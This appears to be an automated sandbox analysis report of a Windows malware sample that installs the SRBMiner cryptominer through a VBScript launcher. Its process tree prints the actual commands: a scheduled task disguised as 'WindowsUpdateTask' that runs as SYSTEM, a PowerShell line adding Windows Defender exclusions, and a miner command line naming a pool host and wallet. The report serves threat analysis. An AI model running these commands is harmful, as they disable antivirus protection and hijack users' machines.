Analysis

  • max time kernel
    149s
  • max time network
    141s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    31/07/2026, 13:20

General

  • Target
    2026-07-31_ff87389309d9caff2622c6c94d9a49be_cryptbot_icedid_luca-stealer_njrat_stealc.exe
  • Size 28.5MB
  • Sample260731-qld1lstdre
  • SHA256 12a3394badc5645c5d6fb335d659ef20ab04375008f66606986e6e2b450c0b97
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Disables Task Manager via registry modification
  • Creates a file in the Startup directory 1 TTPs 1 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-31_ff87389309d9caff2622c6c94d9a49be_cryptbot_icedid_luca-stealer_njrat_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-31_ff87389309d9caff2622c6c94d9a49be_cryptbot_icedid_luca-stealer_njrat_stealc.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3648
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" launcher.vbs
      2⤵
      • Executes a VBScript file via the Windows Script Host.
      • Suspicious use of WriteProcessMemory
      PID:1232
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\launcher.vbs" /Elevated
        3⤵
        • Creates a file in the Startup directory
        • Adds Run key to start application
        • Executes a VBScript file via the Windows Script Host.
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:1752
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /delete /tn "WindowsUpdateTask" /f
          4⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:960
          • C:\Windows\system32\schtasks.exe
            schtasks /delete /tn "WindowsUpdateTask" /f
            5⤵
              PID:1832
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "WindowsUpdateTask" /tr "wscript.exe \"C:\Users\Admin\AppData\Roaming\WindowsTask\task.vbs\"" /sc onstart /ru system /rl highest /f
            4⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:1760
            • C:\Windows\system32\schtasks.exe
              schtasks /create /tn "WindowsUpdateTask" /tr "wscript.exe \"C:\Users\Admin\AppData\Roaming\WindowsTask\task.vbs\"" /sc onstart /ru system /rl highest /f
              5⤵
              • Scheduled Task/Job: Scheduled Task
              PID:1852
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\WindowsTask'; Add-MpPreference -ExclusionProcess 'SRBMiner-MULTI.exe'; Add-MpPreference -ExclusionExtension '.exe'"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2940
          • C:\Users\Admin\AppData\Roaming\WindowsTask\SRBMiner-MULTI.exe
            "C:\Users\Admin\AppData\Roaming\WindowsTask\SRBMiner-MULTI.exe" --algorithm-gpu pearlhash --pool hk.pearl.gfwroute.com:1200 --wallet prl1pua8c6gxdqmgmvqrscs73c9vzkalr4xja2sn76j2u6yfjy2vj63ss37lnwd --worker zOQ6NWPB
            4⤵
            • Executes dropped EXE
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious use of WriteProcessMemory
            PID:1672
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c set
              5⤵
              • Executes a command shell one-liner
              PID:4564
    • C:\Windows\system32\wscript.exe
      wscript.exe
      1⤵
        PID:3244

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            SRBMiner-MULTI.exe

            • Path C:\Users\Admin\AppData\Local\Temp\SRBMiner-MULTI.exe
            • Size 28.3MB
            • SHA256 94a8074259a54537f285f146b0f98111ab8771bc456dd28568d23bab83526447
            • MD5 SHA1 SHA512 SSDEEP TLSH

            launcher.vbs

            • Path C:\Users\Admin\AppData\Local\Temp\launcher.vbs
            • Size 5KB
            • SHA256 7893dc30af94f58906e0699434eeda057696d1f9a3dcddf376b678e983a6028d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/1672-36-0x00007FF7D32F0000-0x00007FF7D672F000-memory.dmp

            memory/1672-28-0x00007FF7D32F0000-0x00007FF7D672F000-memory.dmp

            memory/1672-47-0x00007FF7D32F0000-0x00007FF7D672F000-memory.dmp

            memory/1672-46-0x00007FF7D32F0000-0x00007FF7D672F000-memory.dmp

            memory/1672-45-0x00007FF7D32F0000-0x00007FF7D672F000-memory.dmp

            memory/1672-22-0x00007FF7D32F0000-0x00007FF7D672F000-memory.dmp

            memory/1672-23-0x00007FF7D32F0000-0x00007FF7D672F000-memory.dmp

            memory/1672-24-0x00007FF7D32F0000-0x00007FF7D672F000-memory.dmp

            memory/1672-25-0x00007FF7D32F0000-0x00007FF7D672F000-memory.dmp

            memory/1672-29-0x00007FF7D32F0000-0x00007FF7D672F000-memory.dmp

            memory/1672-44-0x00007FF7D32F0000-0x00007FF7D672F000-memory.dmp

            memory/1672-27-0x00007FF7D32F0000-0x00007FF7D672F000-memory.dmp

            memory/1672-26-0x00007FF7D32F0000-0x00007FF7D672F000-memory.dmp

            memory/1672-31-0x00007FF7D32F0000-0x00007FF7D672F000-memory.dmp

            memory/1672-30-0x00007FF7D32F0000-0x00007FF7D672F000-memory.dmp

            memory/1672-35-0x00007FF7D32F0000-0x00007FF7D672F000-memory.dmp

            memory/1672-43-0x00007FF7D32F0000-0x00007FF7D672F000-memory.dmp

            memory/2940-13-0x0000020076230000-0x0000020076252000-memory.dmp

            memory/2940-16-0x00000200762A0000-0x00000200762BE000-memory.dmp

            memory/2940-20-0x00000200751B0000-0x0000020075B54000-memory.dmp

            memory/2940-18-0x00000200762C0000-0x00000200762CA000-memory.dmp

            memory/2940-17-0x0000020076530000-0x00000200765E2000-memory.dmp